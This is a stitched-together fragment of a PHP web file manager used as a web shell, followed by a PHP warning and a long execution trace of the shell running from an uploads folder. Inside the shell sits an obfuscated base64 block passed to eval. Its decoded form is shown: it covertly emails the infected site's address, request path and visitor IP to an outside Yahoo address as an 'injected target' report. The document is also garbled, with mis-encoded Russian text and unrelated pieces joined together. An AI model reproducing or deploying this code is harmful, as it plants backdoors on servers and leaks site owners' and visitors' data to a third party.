ÎÅ ×ÏÚÍÏÖÎÏ ÓÄÅÌÁÔØ.", "really_delete" => "äÅÊÓÔ×ÉÔÅÌØÎÏ ÜÔÏÔ ÆÁÊÌ ÕÄÁÌÉÔØ?", "deleted" => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÕÄÁÌÅÎÙ:\n[%1]", "not_deleted" => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÕÄÁÌÉÔØ:\n[%1]", "rename_file" => "ðÅÒÅÉÍÅÎÏ×Ù×ÁÀ ÆÁÊÌ:", "renamed" => "\"[%1]\" ÂÙÌ ÐÅÒÅÉÍÅÎÏ×ÁÎ ÎÁ \"[%2]\".", "not_renamed" => "\"[%1] ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÉÍÅÎÏ×ÁÔØ ÎÁ \"[%2]\".", "move_files" => "ðÅÒÅÄ×ÉÇÁÀ ÓÌÅÄÕÀÝÉÅ ÆÁÊÌÙ:", "moved" => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÐÅÒÅÄ×ÉÎÕÔÙ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]", "not_moved" => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÄ×ÉÎÕÔØ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]", "copy_files" => "ëÏÐÉÒÕÀ ÓÌÅÄÕÝÉÅ ÆÁÊÌÙ:", "copied" => "óÌÅÄÕÝÉÅ ÆÁÊÌÙ ÂÙÌÙ ÓËÏÐÉÒÏ×ÁÎÙ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]", "not_copied" => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓËÏÐÉÒÏ×ÁÔØ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]", "not_edited" => "\"[%1]\" ÎÅ ÍÏÖÅÔ ÂÙÔØ ÏÔÒÅÄÁËÔÉÒÏ×ÁÎ.", "executed" => "\"[%1]\" ÂÙÌ ÕÓÐÅÛÎÏ ÉÓÐÏÌÎÅÎ:\n{%2}", "not_executed" => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁÐÕÓÔÉÔØ ÎÁ ÉÓÐÏÌÎÅÎÉÅ:\n{%2}", "saved" => "\"[%1]\" ÂÙÌ ÓÏÈÒÁÎÅÎ.", "not_saved" => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÏÈÒÁÎÉÔØ.", "symlinked" => "óÉÍÌÉÎË Ó \"[%2]\" ÎÁ \"[%1]\" ÂÙÌ ÓÄÅÌÁÎ.", "not_symlinked" => "îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÄÅÌÁÔØ ÓÉÍÌÉÎË Ó \"[%2]\" ÎÁ \"[%1]\".", "permission_for" => "ðÒÁ×Á ÄÏÓÔÕÐÁ \"[%1]\":", "permission_set" => "ðÒÁ×Á ÄÏÓÔÕÐÁ \"[%1]\" ÂÙÌÉ ÉÚÍÅÎÅÎÙ ÎÁ [%2].", "permission_not_set" => "îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÉÚÍÅÎÉÔØ ÐÒÁ×Á ÄÏÓÔÕÐÁ Ë \"[%1]\" ÎÁ [%2] .", "not_readable" => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÐÒÏÞÉÔÁÔØ.");
case 'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
}
}
function getimage($image)
{
switch ($image) {
case 'file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'folder':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
case 'hidden_file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'link':
return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
case 'smiley':
return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
case 'arrow':
return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
}
}
function html_header()
{
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer()
{
echo "</body>\r\n</html>";
}
function notice($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
?>
<font color ="#FFFFFF">
<?php
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw==";
eval /* PHPDeobfuscator eval output */ {
$visitcount = $HTTP_COOKIE_VARS["visits"];
if ($visitcount == "") {
$visitcount = 0;
$visitor = $_SERVER["REMOTE_ADDR"];
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = $web . $inj;
$body = "Boss, there was an injected target on {$target} by {$visitor}";
mail("danhchohack@yahoo.com", "Fxc99sh injected target on http://{$target} by {$visitor}", "{$body}");
} else {
$visitcount;
}
setcookie("visits", $visitcount);
};
?><font color ="#FFFFFF">
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br />
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:47:31.183034]
1 0 1 0.000160 393464
1 3 0 0.001987 788872 {main} 1 /var/www/html/uploads/up.php 0 0
1 A /var/www/html/uploads/up.php 119 $lang = 'auto'
1 A /var/www/html/uploads/up.php 126 $site_charset = 'auto'
1 A /var/www/html/uploads/up.php 131 $homedir = './'
1 A /var/www/html/uploads/up.php 135 $editcols = 80
1 A /var/www/html/uploads/up.php 136 $editrows = 25
1 A /var/www/html/uploads/up.php 154 $htaccess = '.htaccess'
1 A /var/www/html/uploads/up.php 155 $htpasswd = '.htpasswd'
2 4 0 0.002104 788872 get_magic_quotes_gpc 0 /var/www/html/uploads/up.php 159 0
2 4 1 0.002117 788872
2 4 R FALSE
2 5 0 0.002132 788872 array_key_exists 0 /var/www/html/uploads/up.php 165 2 'image' []
2 5 1 0.002146 788936
2 5 R FALSE
2 6 0 0.002160 788872 function_exists 0 /var/www/html/uploads/up.php 170 1 'lstat'
2 6 1 0.002173 788912
2 6 R TRUE
1 A /var/www/html/uploads/up.php 176 $delim = '/'
2 7 0 0.002197 788872 function_exists 0 /var/www/html/uploads/up.php 178 1 'php_uname'
2 7 1 0.002210 788912
2 7 R TRUE
2 8 0 0.002223 788872 substr 0 /var/www/html/uploads/up.php 179 3 'Linux' 0 3
2 8 1 0.002236 789000
2 8 R 'Lin'
2 9 0 0.002249 788904 strtoupper 0 /var/www/html/uploads/up.php 179 1 'Lin'
2 9 1 0.002261 788968
2 9 R 'LIN'
1 A /var/www/html/uploads/up.php 179 $win = FALSE
2 10 0 0.002287 788872 dirname 0 /var/www/html/uploads/up.php 187 1 '/var/www/html/uploads/up.php'
2 10 1 0.002300 788960
2 10 R '/var/www/html/uploads'
1 A /var/www/html/uploads/up.php 187 $scriptdir = '/var/www/html/uploads'
2 11 0 0.002326 788928 relative2absolute 1 /var/www/html/uploads/up.php 193 2 './' '/var/www/html/uploads'
3 12 0 0.002340 788928 path_is_relative 1 /var/www/html/uploads/up.php 1075 1 './'
4 13 0 0.002353 788952 substr 0 /var/www/html/uploads/up.php 1089 3 './' 0 1
4 13 1 0.002367 789048
4 13 R '.'
3 12 1 0.002382 788952
3 12 R TRUE
3 14 0 0.002395 788952 addslash 1 /var/www/html/uploads/up.php 1076 1 '/var/www/html/uploads'
4 15 0 0.002407 788976 substr 0 /var/www/html/uploads/up.php 1065 3 '/var/www/html/uploads' -1 1
4 15 1 0.002420 789072
4 15 R 's'
3 14 1 0.002435 789024
3 14 R '/var/www/html/uploads/'
3 16 0 0.002450 789032 simplify_path 1 /var/www/html/uploads/up.php 1076 1 '/var/www/html/uploads/./'
4 17 0 0.002464 789032 file_exists 0 /var/www/html/uploads/up.php 1116 1 '/var/www/html/uploads/./'
4 17 1 0.002483 789072
4 17 R TRUE
4 18 0 0.002496 789032 function_exists 0 /var/www/html/uploads/up.php 1116 1 'realpath'
4 18 1 0.002509 789072
4 18 R TRUE
4 19 0 0.002522 789032 realpath 0 /var/www/html/uploads/up.php 1116 1 '/var/www/html/uploads/./'
4 19 1 0.002535 789112
4 19 R '/var/www/html/uploads'
4 20 0 0.002550 789032 realpath 0 /var/www/html/uploads/up.php 1117 1 '/var/www/html/uploads/./'
4 20 1 0.002562 789112
4 20 R '/var/www/html/uploads'
3 A /var/www/html/uploads/up.php 1117 $path = '/var/www/html/uploads'
4 21 0 0.002586 789080 is_dir 0 /var/www/html/uploads/up.php 1118 1 '/var/www/html/uploads'
4 21 1 0.002601 789144
4 21 R TRUE
4 22 0 0.002614 789104 addslash 1 /var/www/html/uploads/up.php 1119 1 '/var/www/html/uploads'
5 23 0 0.002626 789104 substr 0 /var/www/html/uploads/up.php 1065 3 '/var/www/html/uploads' -1 1
5 23 1 0.002639 789200
5 23 R 's'
4 22 1 0.002653 789152
4 22 R '/var/www/html/uploads/'
3 16 1 0.002667 789104
3 16 R '/var/www/html/uploads/'
2 11 1 0.002681 789048
2 11 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/up.php 193 $homedir = '/var/www/html/uploads/'
2 24 0 0.002705 789048 array_key_exists 0 /var/www/html/uploads/up.php 195 2 'dir' []
2 24 1 0.002719 789112
2 24 R FALSE
1 A /var/www/html/uploads/up.php 195 $dir = '/var/www/html/uploads/'
2 25 0 0.002743 789048 array_key_exists 0 /var/www/html/uploads/up.php 197 2 'olddir' []
2 25 1 0.002762 789112
2 25 R FALSE
2 26 0 0.002775 789048 addslash 1 /var/www/html/uploads/up.php 201 1 '/var/www/html/uploads/'
3 27 0 0.002788 789048 substr 0 /var/www/html/uploads/up.php 1065 3 '/var/www/html/uploads/' -1 1
3 27 1 0.002807 789144
3 27 R '/'
2 26 1 0.002821 789048
2 26 R '/var/www/html/uploads/'
2 28 0 0.002835 789048 simplify_path 1 /var/www/html/uploads/up.php 201 1 '/var/www/html/uploads/'
3 29 0 0.002848 789048 file_exists 0 /var/www/html/uploads/up.php 1116 1 '/var/www/html/uploads/'
3 29 1 0.002863 789088
3 29 R TRUE
3 30 0 0.002876 789048 function_exists 0 /var/www/html/uploads/up.php 1116 1 'realpath'
3 30 1 0.002889 789088
3 30 R TRUE
3 31 0 0.002902 789048 realpath 0 /var/www/html/uploads/up.php 1116 1 '/var/www/html/uploads/'
3 31 1 0.002914 789128
3 31 R '/var/www/html/uploads'
3 32 0 0.002928 789048 realpath 0 /var/www/html/uploads/up.php 1117 1 '/var/www/html/uploads/'
3 32 1 0.002940 789128
3 32 R '/var/www/html/uploads'
2 A /var/www/html/uploads/up.php 1117 $path = '/var/www/html/uploads'
3 33 0 0.002964 789096 is_dir 0 /var/www/html/uploads/up.php 1118 1 '/var/www/html/uploads'
3 33 1 0.002976 789136
3 33 R TRUE
3 34 0 0.002988 789096 addslash 1 /var/www/html/uploads/up.php 1119 1 '/var/www/html/uploads'
4 35 0 0.003000 789096 substr 0 /var/www/html/uploads/up.php 1065 3 '/var/www/html/uploads' -1 1
4 35 1 0.003014 789192
4 35 R 's'
3 34 1 0.003027 789144
3 34 R '/var/www/html/uploads/'
2 28 1 0.003041 789096
2 28 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/up.php 201 $directory = '/var/www/html/uploads/'
1 A /var/www/html/uploads/up.php 203 $files = []
1 A /var/www/html/uploads/up.php 204 $action = ''
2 36 0 0.003087 789096 array_key_exists 0 /var/www/html/uploads/up.php 218 2 'num' []
2 36 1 0.003101 789160
2 36 R FALSE
2 37 0 0.003114 789096 array_key_exists 0 /var/www/html/uploads/up.php 227 2 'focus' []
2 37 1 0.003128 789160
2 37 R FALSE
2 38 0 0.003141 789096 sizeof 0 /var/www/html/uploads/up.php 237 1 []
2 38 1 0.003153 789128
2 38 R 0
1 A /var/www/html/uploads/up.php 237 $action = ''
2 39 0 0.003176 789096 array_key_exists 0 /var/www/html/uploads/up.php 240 2 'HTTP_ACCEPT_LANGUAGE' ['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/up.php', 'REMOTE_PORT' => '54174', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/up.php', 'SCRIPT_NAME' => '/uploads/up.php', 'PHP_SELF' => '/uploads/up.php', 'REQUEST_TIME_FLOAT' => 1676252825.284, 'REQUEST_TIME' => 1676252825]
2 39 1 0.003230 789160
2 39 R FALSE
1 A /var/www/html/uploads/up.php 243 $lang = 'en'
2 40 0 0.003254 789096 getwords 1 /var/www/html/uploads/up.php 247 1 'en'
2 A /var/www/html/uploads/up.php 2400 $date_format = 'n/j/y H:i:s'
2 A /var/www/html/uploads/up.php 2401 $word_charset = 'ISO-8859-1'
2 40 1 0.003290 789144
2 40 R ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/up.php 247 $words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/up.php 250 $site_charset = 'ISO-8859-1'
1 A /var/www/html/uploads/up.php 253 $cols = 7
2 41 0 0.003483 789144 function_exists 0 /var/www/html/uploads/up.php 256 1 'umask'
2 41 1 0.003497 789184
2 41 R TRUE
2 42 0 0.003510 789144 umask 0 /var/www/html/uploads/up.php 256 0
2 42 1 0.003522 789144
2 42 R 18
1 A /var/www/html/uploads/up.php 256 $dirpermission = 493
2 43 0 0.003546 789144 function_exists 0 /var/www/html/uploads/up.php 259 1 'umask'
2 43 1 0.003559 789184
2 43 R TRUE
2 44 0 0.003572 789144 umask 0 /var/www/html/uploads/up.php 259 0
2 44 1 0.003583 789144
2 44 R 18
1 A /var/www/html/uploads/up.php 259 $filepermission = 420
2 45 0 0.003607 789144 basename 0 /var/www/html/uploads/up.php 263 1 '/uploads/up.php'
2 45 1 0.003621 789208
2 45 R 'up.php'
2 46 0 0.003635 789176 html 1 /var/www/html/uploads/up.php 263 1 'up.php'
3 47 0 0.003647 789200 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'up.php' 2 'ISO-8859-1'
3 47 1 0.003663 789472
3 47 R 'up.php'
2 46 1 0.003677 789360
2 46 R 'up.php'
1 A /var/www/html/uploads/up.php 263 $self = 'up.php'
2 48 0 0.003701 789328 substr 0 /var/www/html/uploads/up.php 271 3 'Apache/2.4.52 (Ubuntu)' 0 6
2 48 1 0.003715 789456
2 48 R 'Apache'
2 49 0 0.003729 789360 strtolower 0 /var/www/html/uploads/up.php 271 1 'Apache'
2 49 1 0.003742 789424
2 49 R 'apache'
1 A /var/www/html/uploads/up.php 272 $apache = TRUE
2 50 0 0.003766 789328 listing_page 1 /var/www/html/uploads/up.php 837 1 ???
3 51 0 0.003778 789424 html_header 1 /var/www/html/uploads/up.php 1179 0
3 51 1 0.003792 789424
3 52 0 0.003799 789424 getlist 1 /var/www/html/uploads/up.php 1181 1 '/var/www/html/uploads/'
4 53 0 0.003812 789424 opendir 0 /var/www/html/uploads/up.php 846 1 '/var/www/html/uploads/'
4 53 1 0.003831 789816
4 53 R resource(4) of type (stream)
3 A /var/www/html/uploads/up.php 846 $d = resource(4) of type (stream)
4 54 0 0.003858 789784 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 54 1 0.003879 789856
4 54 R '..'
3 A /var/www/html/uploads/up.php 848 $filename = '..'
3 A /var/www/html/uploads/up.php 850 $path = '/var/www/html/uploads/..'
4 55 0 0.003914 789872 lstat 0 /var/www/html/uploads/up.php 852 1 '/var/www/html/uploads/..'
4 55 1 0.003929 791696
4 55 R [0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
